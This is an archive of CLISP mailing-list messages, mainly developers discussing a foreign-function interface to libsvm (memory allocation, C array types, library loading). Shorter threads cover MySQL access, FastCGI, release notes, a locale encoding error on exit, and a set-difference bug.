(alternatively lisp on its own) has any interfaces to
a DBMS like MySQL. 

I've been googling my fingers sore trying to find
details about these things, but I've obviously been
looking in the wrong places. Any tips?

Thanks a lot,
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Sam Steingold wrote:

>I am trying to write an FFI module interface to libsvm
>http://www.csie.ntu.edu.tw/~cjlin/libsvm/

This code expresses confusion:
>(defun alist-to-nodes (alist)
>  ;; ((index . value) ...) -->
>  ;; C [index;value]...[-1;*]
>  (let* ((len (length alist))
>         (ret (allocate-shallow 'svm_node :count (1+ len))))
Foreign memory is allocated, ...
>    (with-c-place (v ret)
>      (loop :for i :upfrom 0 :for (index . value) :in alist :do
>        (setf (svm_node-index (element v i)) index
>              (svm_node-value (element v i)) value))
>      (setf (svm_node-index (element v len)) -1))
...never freed...
>    (foreign-value ret)))
...and converted to a native Lisp data structure -- why did you use
foreign data in the first place?
Maybe you wanted to operate with a handle to a foreign structure? In
this case, `ret' is your handle, never (foreign-value ret).


>Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready?
>I thing it would come handy in several functions in this module.
It's not. I can't remember whether I did not write it because of
o either fear of added complexity in the C code which so far is
understandable,
o either not putting enough thought into the semantics of the several
keyword and optional arguments, their behaviour if/not present and the
semantics of defaulting values.

What I mean with the latter is that I don't like macros where there's no
value that's equivalent to "not supplied", i.e. where
(foomacro ... :key x) can never mean the same as
(foomacro ...) without the key.
How would :count, :initial-value :deep/shallow interact?

Such macros are awkward to handle when some unknown in advance entity
produces the values to use.

The :library parameter to ffi:def-call-out comes to mind as related.  My
original idea was that the DEF-CALL-OUT form the programmer wrote would
be independent of whether on the user's machine, the library would come
as built-in module or shared library.  I never sat down to and wrote
this.
I never tested the postgresql module as is. Every time I used it I had
to add (:library "...") snippets to the function declaration because I
used the postgres.so shared library for my tests.

Regards,
	Jorg Hohle.


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Sam Steingold wrote:
>Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready?
>I thing it would come handy in several functions in this module.

Why don't you use
(with-foreign-object (foo `(c-array x ,(length y))
                          #|preinitialize if possible|#)
  ;; or fill it=20
  ;; use it
)

The advantage of this approach is that you decide whether C-ARRAY or
C-ARRAY-MAX is appropriate for your needs, whereas my :COUNT feature is
just a DWIM hack: always C-ARRAY except for type CHARACTER where it
produces C-ARRAY-MAX to play nice with C string conventions.

Such behaviour may be handy for literal uses of types, but any
non-regular behaviour is a pain when using unknown types (e.g. argument
values).

Bak then, I weighted the tradeoff between regularity and comfort.  The
result is documented.

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
> 
>> I am trying to write an FFI module interface to libsvm
>> http://www.csie.ntu.edu.tw/~cjlin/libsvm/
> 
> This code expresses confusion:
>> (defun alist-to-nodes (alist)
>>  ;; ((index . value) ...) -->
>>  ;; C [index;value]...[-1;*]
>>  (let* ((len (length alist))
>>         (ret (allocate-shallow 'svm_node :count (1+ len))))
> Foreign memory is allocated, ...
>>    (with-c-place (v ret)
>>      (loop :for i :upfrom 0 :for (index . value) :in alist :do
>>        (setf (svm_node-index (element v i)) index
>>              (svm_node-value (element v i)) value))
>>      (setf (svm_node-index (element v len)) -1))
> ...never freed...
>>    (foreign-value ret)))
> ...and converted to a native Lisp data structure -- why did you use
> foreign data in the first place?
> Maybe you wanted to operate with a handle to a foreign structure? In
> this case, `ret' is your handle, never (foreign-value ret).

this is an older version.
I am returning "ret" now but I cannot get it into a struct slot.
see
http://permalink.gmane.org/gmane.lisp.clisp.general/11437

>> Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready?
>> I thing it would come handy in several functions in this module.
> It's not. I can't remember whether I did not write it because of
> o either fear of added complexity in the C code which so far is
> understandable,
> o either not putting enough thought into the semantics of the several
> keyword and optional arguments, their behaviour if/not present and the
> semantics of defaulting values.
> 
> What I mean with the latter is that I don't like macros where there's no
> value that's equivalent to "not supplied", i.e. where
> (foomacro ... :key x) can never mean the same as
> (foomacro ...) without the key.

yet that's how you wrote with-foreign-object et al.
this is easy to fix though: since a keyword does not correspond to a 
foreign value, we can treat :default as "not supplied"

> How would :count, :initial-value :deep/shallow interact?

you are confused.
now:
(defmacro with-foreign-object ((var c-type &optional (init nil init-p))
                                &body body)
  ...)
I want:
(defmacro with-foreign-object ((var c-type
                                 &key (init :default) (count -1))
                                &body body)
  ...)
where one cannot supply BOTH :init AND :count.

> The :library parameter to ffi:def-call-out comes to mind as related.  My
> original idea was that the DEF-CALL-OUT form the programmer wrote would
> be independent of whether on the user's machine, the library would come
> as built-in module or shared library.  I never sat down to and wrote
> this.
> I never tested the postgresql module as is. Every time I used it I had
> to add (:library "...") snippets to the function declaration because I
> used the postgres.so shared library for my tests.

TRT is to combine FOREIGN-LIBRARY-FUNCTION and LOOKUP-FOREIGN-FUNCTION 
into FIND-FOREIGN-FUNCTION that would accept the library argument that 
can be NIL to mean LOOKUP-FOREIGN-FUNCTION and non-NIL to mean 
FOREIGN-LIBRARY-FUNCTION.




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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready?
>> I thing it would come handy in several functions in this module.
> 
> Why don't you use
> (with-foreign-object (foo `(c-array x ,(length y))
>                           #|preinitialize if possible|#)
>   ;; or fill it 
>   ;; use it
> )

that's what I use now:
(ffi:def-call-out %svm_predict_probability (:name "svm_predict_probability")
   (:arguments (model svm_model) (x (c-array-ptr svm_node))
               (prob_estimates c-pointer))
   (:return-type double-float) (:library svm-so))
(defun svm_predict_probability (model x)
   (with-foreign-object (prob_estimates `(c-array int ,(svm_get_nr_class 
model)))
     (%svm_predict_probability model x (foreign-address prob_estimates))
     (foreign-value prob_estimates)))

but this requires a run-time call to PARSE-C-TYPE for no good reason.

S.



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Sam Steingold wrote:
> Hoehle, Joerg-Cyril wrote:
>> The :library parameter to ffi:def-call-out comes to mind as related.  My
>> original idea was that the DEF-CALL-OUT form the programmer wrote would
>> be independent of whether on the user's machine, the library would come
>> as built-in module or shared library.  I never sat down to and wrote
>> this.
>> I never tested the postgresql module as is. Every time I used it I had
>> to add (:library "...") snippets to the function declaration because I
>> used the postgres.so shared library for my tests.
> 
> TRT is to combine FOREIGN-LIBRARY-FUNCTION and LOOKUP-FOREIGN-FUNCTION 
> into FIND-FOREIGN-FUNCTION that would accept the library argument that 
> can be NIL to mean LOOKUP-FOREIGN-FUNCTION and non-NIL to mean 
> FOREIGN-LIBRARY-FUNCTION.

BTW, this way we can also add a compilation unit variable 
*default-library* whose global value would be NIL but whose value you 
will set to "postgresql.so" in postgresql.lisp.



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I want to make a release soon (before the FFI changes what are being now 
discussed in a separate thread). Here are the news (replace 
clisp.cons.org with www.podval.org/~sds/clisp in the impnotes links):

Important notes
---------------

* All .fas files generated by previous CLISP versions are invalid and
   must be recompiled.  This is because DOCUMENTATION and LAMBDA-LIST are
   now kept with the closures.
   Set CUSTOM:*LOAD-OBSOLETE-ACTION* to :COMPILE to automate this.
   See <http://clisp.cons.org/impnotes.html#loadfile> for details.

User visible changes
--------------------

* Infrastructure
   + Top-level configure now accepts a new option --elispdir which specifies
     the installation directory for the Emacs Lisp files (clhs.el et al).
     The default value is ${datadir}/emacs/site-lisp/.
     Thus, clhs.el at al are now installed by "make install", and should
     be included in the 3rd party distributions.
   + Top-level configure now accepts variables on command line, e.g.,
     ./configure CC=g++ CFLAGS=-g

* Function PCRE:PCRE-EXEC accepts :DFA and calls pcre_dfa_exec() when
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* New functions RAWSOCK:IF-NAME-INDEX, RAWSOCK:IFADDRS.
   See <http://clisp.cons.org/impnotes/rawsock.html>.

* When the OPTIMIZE SPACE level is low enough, keep function
   documentation and lambda list.
   See <http://clisp.cons.org/impnotes/declarations.html#space-decl>.

* Bug fixes:
   + Make it possible to set *IMPNOTES-ROOT-DEFAULT* and *CLHS-ROOT-DEFAULT*
     to local paths, as opposed to URLs. [ 1494059 ]
   + Fix the evaluation order of initialization and :INITIALLY forms in
     then extended LOOP. [ 1516684 ]
   + Do not allow non-symbols as names of anonymous classes. [ 1528201 ]
   + REINITIALIZE-INSTANCE now calls FINALIZE-INHERITANCE. [ 1526448 ]
   + Fix the RAWSOCK module on big-endian platforms. [ 1529244 ]
   + PRINT-OBJECT now works on built-in objects.  [ 1482533 ]
   + ADJUST-ARRAY signals an error if :FILL-POINTER is supplied and non-NIL
     but the non-adjustable array has no fill pointer, as per ANSI. [ 
1538333 ]
   + MAKE-PATHNAME no longer ignores explicit :DIRECTORY NIL (thanks to
     Stephen Compall <s11001001@users.sourceforge.net>). [ 1550803 ]
   + Executable images now work on ia64 (thanks to Dr. Werner Fink
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   + MAKE-PATHNAME on win32 now handles correctly directories that start
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Sam Steingold wrote:
>> TRT is to combine FOREIGN-LIBRARY-FUNCTION and=20
>LOOKUP-FOREIGN-FUNCTION=20
>> into FIND-FOREIGN-FUNCTION that would accept the library=20
>argument that=20
>> can be NIL to mean LOOKUP-FOREIGN-FUNCTION and non-NIL to mean=20
>> FOREIGN-LIBRARY-FUNCTION.
This sounds exactly like what I thought of many many moons ago but never
implemented.

>BTW, this way we can also add a compilation unit variable=20
>*default-library* whose global value would be NIL but whose value you=20
>will set to "postgresql.so" in postgresql.lisp.

Er, how will a compilation unit help? My thoughts for the macroexpansion
of DEF-CALL-OUT was a run-time call.  I.e. it's not until the .fas file
is loaded that a decision is made.  It's not at compile time that I
thought about it.

I concede that many people would be happy with compile time decisions.
That's fine with self-compiled stuff.  Possibly not enough with
distributed, portable and shared .fas files.
Also, I didn't put much thought into whether "find out if module shared
library at run-time" is really useful and more than an experience of
intellectual satisfaction.

BTW, I don't like explicit "postgresql.so" in source files.
a) I think people should not edit source files just to install
something.
   That's why I dislike (defpackage ) (in-package ) (defvar *path*
"foo").
   Like in Emacs, the path ought to be definable before the system is
loaded.  Of course, the USER package could be used by convention, but
certainly some people will dislike that.
b) .so is certainly wrong on Darwin and SM-Windows. And I don't people
to start using #+ #+ #- every time a shared library is mentioned.
Oh well, that's been discussed in clsql-devel, cffi, uffi, Lispworks and
likely other places sometimes.

Regards,
	Jorg Hohle.


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Hi,

Sam Steingold wrote:
>that's what I use now:
>(ffi:def-call-out %svm_predict_probability (:name=20
>"svm_predict_probability")
>   (:arguments (model svm_model) (x (c-array-ptr svm_node))
>               (prob_estimates c-pointer))
>   (:return-type double-float) (:library svm-so))
>(defun svm_predict_probability (model x)
>   (with-foreign-object (prob_estimates `(c-array int
,(svm_get_nr_class model)))
>     (%svm_predict_probability model x (foreign-address
prob_estimates))
>     (foreign-value prob_estimates)))
Looks good. Do you feel it's convoluted?

You can throw away the explicit call to FOREIGN-ADDRESS. It's documented
(c-pointer type accepts any pointer).

>but this requires a run-time call to PARSE-C-TYPE for no good reason.

Where? The `(c-array int ,...) pattern should get optimized away by the
COMPILER-MACRO.  What did I miss?

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> BTW, this way we can also add a compilation unit variable 
>> *default-library* whose global value would be NIL but whose value you 
>> will set to "postgresql.so" in postgresql.lisp.
> 
> Er, how will a compilation unit help? My thoughts for the macroexpansion
> of DEF-CALL-OUT was a run-time call.  I.e. it's not until the .fas file
> is loaded that a decision is made.  It's not at compile time that I
> thought about it.

similar to *foreign-language*: some things have to be known at compile 
time because of the need to write the C file.

> BTW, I don't like explicit "postgresql.so" in source files.
> a) I think people should not edit source files just to install
> something.
>    That's why I dislike (defpackage ) (in-package ) (defvar *path*
> "foo").
>    Like in Emacs, the path ought to be definable before the system is
> loaded.  Of course, the USER package could be used by convention, but
> certainly some people will dislike that.
> b) .so is certainly wrong on Darwin

and what about Darwin?
what does this comment mean:
/* FIXME: On UNIX_DARWIN, need to search for the library in /usr/lib */

 > and SM-Windows. And I don't people
> to start using #+ #+ #- every time a shared library is mentioned.

we can modify libopen like this:

--- spvw.d	01 Aug 2006 17:29:33 -0400	1.391
+++ spvw.d	20 Sep 2006 13:50:23 -0400	
@@ -3470,10 +3470,20 @@
  global void * libopen (const char* libname)
  {
   #if defined(WIN32_NATIVE)
-  return (void*)LoadLibrary(libname);
+  var void *lib = (void*)LoadLibrary(libname);
+  if (NULL != lib || strlen(libname) > MAX_PATH-5) return lib;
+  var char buf[MAX_PATH];
+  strcpy(buf,libname);          /* we KNOW that libname fits into buf! */
+  strcat(buf,".dll");
+  return (void*)LoadLibrary(buf);
   #else
+  var void *lib = dlopen(libname,RTLD_NOW|RTLD_GLOBAL);
+  if (NULL != lib || strlen(libname) > MAXPATHLEN-4) return lib;
+  var char buf[MAXPATHLEN];
+  strcpy(buf,libname);          /* we KNOW that libname fits into buf! */
+  strcat(buf,".so");
    /* FIXME: On UNIX_DARWIN, need to search for the library in /usr/lib */
-  return dlopen(libname,RTLD_NOW|RTLD_GLOBAL);
+  return dlopen(buf,RTLD_NOW|RTLD_GLOBAL);
   #endif
  }




> Oh well, that's been discussed in clsql-devel, cffi, uffi, Lispworks and
> likely other places sometimes.

and what's the conclusion?



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Build on win32/mingw is ok.

Thanks!

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Hi

Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> but this requires a run-time call to PARSE-C-TYPE for no good reason.
> 
> Where? The `(c-array int ,...) pattern should get optimized away by the
> COMPILER-MACRO.  What did I miss?

hmm -- nothing. sorry.
indeed there are no parse-c-type calls there, but there is one in

(defun alist-to-nodes (alist)
   ;; Lisp ((index . value) ...) --> C [index;value]...[-1;*]
   (let* ((len (length alist))
          (ret (allocate-shallow 'node :count (1+ len))))
     (with-c-place (v ret)
       (loop :for i :upfrom 0 :for (index . value) :in alist :do
         (setf (slot (element v i) 'index) index
               (slot (element v i) 'value) value))
       (setf (slot (element v len) 'index) -1))
     ret))

why?




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so, what is wrong with this code:

(def-c-type node (c-struct list (index int) (value double-float)))
(def-c-type problem (c-struct list
   (l int)                               ; number of records
   (y (c-array-ptr double-float))        ; of length l (targets)
   (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)

(defun alist-to-nodes (alist)
   ;; Lisp ((index . value) ...) --> C [index;value]...[-1;*]
   (let* ((len (length alist))
          (ret (allocate-shallow 'node :count (1+ len))))
     (with-c-place (v ret)
       (loop :for i :upfrom 0 :for (index . value) :in alist :do
         (setf (slot (element v i) 'index) index
               (slot (element v i) 'value) value))
       (setf (slot (element v len) 'index) -1))
     ret))

(defun list-to-vector (list)
   ;; Lisp list --> C array
   (let* ((len (length list)) (ret (allocate-shallow 'double-float 
:count len)))
     (with-c-place (v ret)
       (loop :for i :upfrom 0 :for value :in list :do
         (setf (element v i) value)))
     ret))

(defun make-problem (&key l y x)
   (let ((ret (allocate-shallow 'problem)))
     (setf (slot (foreign-value ret) 'l) l
           (slot (foreign-value ret) 'y)
           (offset (foreign-value (list-to-vector y)) 0
                   `(c-array double-float ,l)) ; FIXME!!
           (slot (foreign-value ret) 'x)
           (offset (foreign-value (alist-to-nodes x)) 0
                   `(c-array (c-ptr node) ,l))) ; FIXME!!
     ret))


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how does resource management work in clisp ffi?


(def-call-out destroy-param (:library svm-so) (:name "svm_destroy_param")
   (:arguments (param (c-ptr parameter))) (:return-type nil))
(defun destroy-parameter (parameter)
   (destroy-param parameter)
   (foreign-free parameter))
(def-c-type parameter (c-struct list
   (svm_type int)
   (kernel_type int)
   (degree int)                  ; for poly
   (gamma double-float)          ; for poly/rbf/sigmoid
   (coef0 double-float)          ; for poly/sigmoid
   ;; these are for training only
   (cache_size double-float)     ; in MB
   (eps double-float)            ; stopping criteria
   (C double-float)              ; for C_SVC, EPSILON_SVR and NU_SVR
   (nr_weight int)               ; for C_SVC
   (weight_label (c-array-ptr int)) ; for C_SVC
   (weight (c-array-ptr double-float)) ; for C_SVC
   (nu double-float)                ; for NU_SVC, ONE_CLASS, and NU_SVR
   (p double-float)                 ; for EPSILON_SVR
   (shrinking int)                  ; use the shrinking heuristics
   (probability int)))              ; do probability estimates

when I pass a foreign-variable pointing to a `parameter' to 
`destroy-parameter', I get an error saying that it is not a `parameter' 
that `destroy-param' expects. apparently, if I write
(defun destroy-parameter (parameter)
   (destroy-param (foreign-value parameter))
   (foreign-free parameter))
it will work, but this does not make any sense: "svm_destroy_param" 
releases the array fields which are copied over by foreign-value and 
then by FOREIGN-CALL-OUT. If I write instead
(def-call-out destroy-param (:library svm-so) (:name "svm_destroy_param")
   (:arguments (param c-pointer #|(c-ptr parameter)|#)) (:return-type nil))
it works (apparently) but looks ugly.
maybe ANY foreign argument should be compatible with a FOREIGN-POINTER 
(including foreign variables and addresses) and work by dereferencing?




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Audun Rÿfffff8mcke wrote:
[snip]
> 
> I'm also curious as to whether lisp-as-CGI
> (alternatively lisp on its own) has any interfaces to
> a DBMS like MySQL. 
[snip]
> Thanks a lot,
> Audun

I've been using CLSQL when connecting to mysql.
It's not a perfect solution; i had to rewrite the
find-and-load-foreign-library function in
clsql-uffi-loader.lisp as well as the db reconnect code,
but it's an excellant way to start.

CLSQL uses either CFFI or UFFI. UFFI is a little
easier to use. CFFI had a few bugs a couple of
months ago that kept it from easily working with
mysql. I think they've fixed most of them since then,
but it's still easier to use UFFI.

CLSQL's speed is sufficient for what I do. Sometimes
2/3 of the time it takes to run a function is sucked
up by the database, but i don't think it's the driver's
fault.

I've used CLSQL on Linux/Gentoo and Cgywin/WinXPsp2, but
never with just plain WinXP so I can't speak for that
platform. But i've used CLSQL with both clisp and sbcl,
and since I don't mind rewriting small portions of the
library it was all worthwhile. I think I even learned
a thing or two by scrummaging around in the code.
And since you'll be using CGI you wont have to patch
the db reconnect code because you wont be reusing
connections.

This method of connecting to a db isn't practical with
CGI apps, BTW, unless you save a lisp image with CLSQL
and UFFI already loaded in the image, otherwise your
CGI process would take too long to start. I haven't
used CGI with lisp myself, though. I'm running a lisp
process that constantly stays in memory.

I'm running mysql 4.1. Can't say for sure whether CLSQL
can work with the newer versions of mysql or not, but
I did notice that there is a lot of version-specific
source code, so i would guess it's likely.

Lou Vanek



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Hi,

I've never used the module, but had a quick look at the module code that =
is part of the CLISP distribution.  The idea of having a long-running =
lisp process talk to a web-server seems good.

o Is anybody using fastcgi with Lisp? CLISP?
  It seems Apache, lighttpd and others provide interfaces to FastCGI.

o Do some windows binary distributions of CLISP contain that module?

o Is there interest in
 + fixing some bugs (e.g. fcgi_getenv implements prefix matching only, =
slurp_stdin seems restricted in size),
 + enhancing (e.g.
   - how well are arbitrary encodings or
   - even binary data supported,
   - maybe use EXT:MAKE-BUFFERED-INPUT|OUTPUT-STREAM),
 + or optimizing the code (e.g. less string concatenations)?

Regards,
	J=F6rg H=F6hle.


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 > I've been using CLSQL when connecting to mysql.
There's also the mysql command line interface that you can use at
the cost of about .01 sec per call.  I've used that a small demo. 
 > o Is anybody using fastcgi with Lisp? CLISP?
Again I've gotten a small demo to work (clisp, apache, linux).
My impression is that apache kills the program after it hasn't been
used for a while.  I don't know how to control that.



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if I replace c-array-ptr with c-pointer and write

       (setf (slot (foreign-value ret) 'y) (list-to-vector y)))

it appears to work - but this is somewhat ugly...

Sam Steingold wrote:
> so, what is wrong with this code:
> 
> (def-c-type node (c-struct list (index int) (value double-float)))
> (def-c-type problem (c-struct list
>    (l int)                               ; number of records
>    (y (c-array-ptr double-float))        ; of length l (targets)
>    (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)
> 
> (defun alist-to-nodes (alist)
>    ;; Lisp ((index . value) ...) --> C [index;value]...[-1;*]
>    (let* ((len (length alist))
>           (ret (allocate-shallow 'node :count (1+ len))))
>      (with-c-place (v ret)
>        (loop :for i :upfrom 0 :for (index . value) :in alist :do
>          (setf (slot (element v i) 'index) index
>                (slot (element v i) 'value) value))
>        (setf (slot (element v len) 'index) -1))
>      ret))
> 
> (defun list-to-vector (list)
>    ;; Lisp list --> C array
>    (let* ((len (length list)) (ret (allocate-shallow 'double-float 
> :count len)))
>      (with-c-place (v ret)
>        (loop :for i :upfrom 0 :for value :in list :do
>          (setf (element v i) value)))
>      ret))
> 
> (defun make-problem (&key l y x)
>    (let ((ret (allocate-shallow 'problem)))
>      (setf (slot (foreign-value ret) 'l) l
>            (slot (foreign-value ret) 'y)
>            (offset (foreign-value (list-to-vector y)) 0
>                    `(c-array double-float ,l)) ; FIXME!!
>            (slot (foreign-value ret) 'x)
>            (offset (foreign-value (alist-to-nodes x)) 0
>                    `(c-array (c-ptr node) ,l))) ; FIXME!!
>      ret))
> 



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Don Cohen wrote:
> [snip]
> There's also the mysql command line interface that you can use at
> the cost of about .01 sec per call.  I've used that a small demo. 
[snip]

I tried spawning a command line process as suggested but
on my system it takes 30X longer to connect than to reuse
an existing db connection. But I guess this difference
wouldn't be noticed on lightly used applications.



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Hi,

>Sam Steingold wrote:
>> I am trying to write an FFI module interface to libsvm
>> http://www.csie.ntu.edu.tw/~cjlin/libsvm/
Often enough, I like to view at the original API documentation than at
snippets of bogus code. I found
http://public.procoders.net/cgi-bin/trac.cgi/browser/pcsvm/
but can't find the functions & structures that you want to interface to.

> (def-c-type node (c-struct list (index int) (value double-float)))
> (def-c-type problem (c-struct list
>    (l int)                               ; number of records
>    (y (c-array-ptr double-float))        ; of length l (targets)
>    (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)

I think I'm beginning to grasp your problem.
The FFI is designed to do *once* a conversion between a foreign
structure and a Lisp structure.  What you're trying to do is a piecemeal
conversion, one for each shallow allocation.  You want to mimic C :-(
That's why you run into the problem with the NULL slot pointer from your
allocate-shallow.

What you can do is play nice with the FFI, and build a Lisp structure
that can be converted at once, using deep allocation.  Play with Lisp as
long as possible!

You can also work piecemealwise.  For that you'll need CAST to
C-POINTER.  Then you can SETF the CAST'ed slot to the FOREIGN-VARIABLE
pointer.
(SETF (CAST (SLOT problem 'y|x) 'c-pointer) #.#<FOREIGN-VARIABLE>)

You can't SETF a slot to a C-ARRAY-PTR or some such to some foreign
entity.  Only Lisp objects (arrays) are acceptable arguments.

>(defun alist-to-nodes (alist)
>       (loop :for i :upfrom 0 :for (index . value) :in alist :do
>         (setf (slot (element v i) 'index) index
>               (slot (element v i) 'value) value))
This still looks cumbersome.  Why don't you create a Lisp vector of
nodes and let the FFI convert that in one go?
(allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0))))
Now write beautiful Lisp code to create that set of arrays.

In case you dislike the duplication of knowledge about ordering of the
slots of the node struct that you need to reproduce with '(1 2.0d0), you
can use (def-c-struct node #) instead, use the struct constructor that
handles ordering for you:
(make-node :index ... :value ...) and supply and array of those objects.

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Sam Steingold wrote:

>it's useful to tell CLISP that it will be needing a lot of memory.
>see also <http://clisp.cons.org/impnotes/faq.html#faq-stack>:
>
>	If you really do need more Lisp stack, you can increase
>	it by telling CLISP to pre-allocate more memory

Indeed, even on modern Linux systems, memory is partitioned and not
likely changeable at run-time (witness the current 2/2 or 3/1GB Linux
kernel space discussions).

Here's an example from a special CLISP version of mine.
./lisp.run -M lispinit.mem
STACK depth: 98206
./lisp.run -M lispinit.mem -m2MB
STACK depth: 65438
./lisp.run -M lispinit.mem -m99MB
STACK depth: 3243934

I forgot whether the output is in #objects, or #bytes.

The less stack you have, the more likely a set of deeply recursive
algorithms on non-trivial data will overflow the stack.  For beginners,
a small limit is good as bogus recursive functions will be detected
earlier ;)

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> Hi,
> 
>> Sam Steingold wrote:
>>> I am trying to write an FFI module interface to libsvm
>>> http://www.csie.ntu.edu.tw/~cjlin/libsvm/
> Often enough, I like to view at the original API documentation than at
> snippets of bogus code. I found
> http://public.procoders.net/cgi-bin/trac.cgi/browser/pcsvm/
> but can't find the functions & structures that you want to interface to.

please look at
README
svm.h
svm.cpp
in  http://www.csie.ntu.edu.tw/~cjlin/libsvm.tar.gz




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Hi,

Hoehle, Joerg-Cyril wrote:
> This still looks cumbersome.  Why don't you create a Lisp vector of
> nodes and let the FFI convert that in one go?
> (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0))))

this appears to work fine.
thanks.

DIUC that

   (libsvm:train (ffi:foreign-value problem)
                 (ffi:foreign-value f-parameter))

works by
1. converting `problem' from C to Lisp (in foreign-value)
2. converting the Lisp `problem' back to C on C stack (alloca)
3. calling the C function (svm_train)

if this is actually the case, this is totally unacceptable because this 
means that huge objects are converted between C and Lisp for absolutely 
no reason.

note that `problem' is likely to be megabytes in size!



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Hi,
Hoehle, Joerg-Cyril wrote:
> (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0))))

ok, here you go:

(defun task (num divisor base)
   (flet ((normalize (x d) (- (/ (* 2 x) (1- d)) 1d0)))
     (values (normalize (rem num divisor) divisor)
             (do ((n num) r (ret ()) (index 0 (1+ index)))
                 ((zerop n)
                  (coerce (nreverse (cons (list -1 0d0) ret)) 'vector))
               (multiple-value-setq (n r) (floor n base))
               (let ((value (normalize r base)))
                 (unless (zerop value) (push (list index value) ret)))))))
(defun problem (repeat divisor base)
   (let ((x (make-array repeat)) (y (make-array repeat)))
     (dotimes (i repeat)
       (multiple-value-bind (n v) (task i divisor base)
         (setf (aref y i) n (aref x i) v)))
     (libsvm:make-problem :l repeat :x x :y y)))
(defparameter f-problem-3-7 (problem 1000 3 7))
(defparameter l-problem-3-7 (ffi:foreign-value f-problem-3-7))
(second l-problem-3-7)
#(-1.0d0)

it should be a vector of length 1000, but it appears to be a vector of 
length 1!



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Hello.

I could compile clisp-2.39 on an Intel Mac running Mac OS X 10.4.7.  
It passed all tests and seems to work normally but if I try and exit  
I get this:

[1]> (quit)

*** - Le
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*** - Le
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Break 1 [2]> (quit)

*** - Message inimprimable
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*** - Le
*** - Message inimprimable
Break 1 [4]>

The same thing happens with (bye), (exit) and Ctrl D. With Ctrl C it  
enters an infinite loop. Am I doing something wrong?

Regards,

YC



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Yves Codet writes:
> Hello.
>=20
> I could compile clisp-2.39 on an Intel Mac running Mac OS X 10.4.7. =20
> It passed all tests and seems to work normally but if I try and exit =20
> I get this:
>=20
> [1]> (quit)
>=20
> *** - Le
> *** - Le
> *** - Le
> *** - Message inimprimable					(non printable message)
> Break 1 [2]> (quit)
>=20
> *** - Message inimprimable
> Break 1 [3]> (quit)
>=20
> *** - Le
> *** - Message inimprimable
> Break 1 [4]>
>=20
> The same thing happens with (bye), (exit) and Ctrl D. With Ctrl C it =20
> enters an infinite loop. Am I doing something wrong?

The unprintable message may contain characters that cannot be encoded
in the coding system you've selected for terminal output.  Try another
coding system, like iso-8859-1 (should be enough for French) or utf-8.

On MacOSX, since the file names are stored in utf-8 too, you could
configure your editor to save all the files in utf-8 and just use:

    clisp -ansi -E utf-8

to set all the coding systems to utf-8.



The function QUIT is in the package EXT.
(EXT:QUIT) should always work...


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Le 27 sept. 06 =E0 21:07, Pascal Bourguignon a =E9crit :


> Yves Codet writes:
>
>> Hello.
>>
>> I could compile clisp-2.39 on an Intel Mac running Mac OS X 10.4.7.
>> It passed all tests and seems to work normally but if I try and exit
>> I get this:
>>
>> [1]> (quit)
>>
>> *** - Le
>> *** - Le
>> *** - Le
>> *** - Message inimprimable					(non =
printable message)
>> Break 1 [2]> (quit)
>>
>> *** - Message inimprimable
>> Break 1 [3]> (quit)
>>
>> *** - Le
>> *** - Message inimprimable
>> Break 1 [4]>
>>
>> The same thing happens with (bye), (exit) and Ctrl D. With Ctrl C it
>> enters an infinite loop. Am I doing something wrong?
>>
>
> The unprintable message may contain characters that cannot be encoded
> in the coding system you've selected for terminal output.  Try another
> coding system, like iso-8859-1 (should be enough for French) or utf-8.
>

You were right, Clisp wanted to print:

	=C0 bient=F4t !

Terminal was already set to utf-8 (I think it's the default), Clisp =20
couldn't print the message though.


>
> On MacOSX, since the file names are stored in utf-8 too, you could
> configure your editor to save all the files in utf-8 and just use:
>
>     clisp -ansi -E utf-8
>
> to set all the coding systems to utf-8.
>

With the above command Clisp can exit normally. Many thanks.

Yves Codet




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Le 27 sept. 06 =E0 14:59, Sam Steingold a =E9crit :

> apparently, your language settings (French) are inconsistent with your
> encoding settings (ASCII).
> what is your $LANG?

Clisp says that $LANG has no value:

[1]> (system::getenv $LANG)

*** - EVAL: La variable $LANG n'a pas de valeur.
Rentr=E9es possibles:
USE-VALUE      :R1      You may input a value to be used instead of =20
$LANG.
STORE-VALUE    :R2      You may input a new value for $LANG.
ABORT          :R3      ABORT

It's writing in French though (sorry about my ignorant remarks, I'm =20
quite new to Clisp and Lisp).

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Yves Codet writes:
>=20
> Le 27 sept. 06 =C3=A0 14:59, Sam Steingold a =C3=A9crit :
>=20
> > apparently, your language settings (French) are inconsistent with you=
r
> > encoding settings (ASCII).
> > what is your $LANG?
>=20
> Clisp says that $LANG has no value:
>=20
> [1]> (system::getenv $LANG)
> *** - EVAL: La variable $LANG n'a pas de valeur.


ELANG :-)

$LANG is expressed in shell language.

To get the value of an environment variable from Lisp (or from C), we
must give the _name_ of the shell environment variable to the getenv func=
tion.

(ext:getenv "LANG")


> It's writing in French though (sorry about my ignorant remarks, I'm =20
> quite new to Clisp and Lisp).

No problem.  Most  native English speakers haven't learned English as
foreign language.

--=20
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Le 28 sept. 06 =E0 10:34, Pascal Bourguignon a =E9crit :

> To get the value of an environment variable from Lisp (or from C), we
> must give the _name_ of the shell environment variable to the =20
> getenv function.
>
> (ext:getenv "LANG")

I get this:

[1]> (ext:getenv "LANG")
NIL

Yves Codet



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Hi,

Is this a known problem? When I do

(set-difference
  '(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
  '(0 0 0 0 0 0)
  :test 'equalp)

I get

*** - MAKE-HASH-TABLE: illegal :TEST argument SYSTEM::FASTHASH-EQUALP
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.
ABORT          :R2      ABORT

In general, (set-difference x y :test 'equalp) gives the message above 
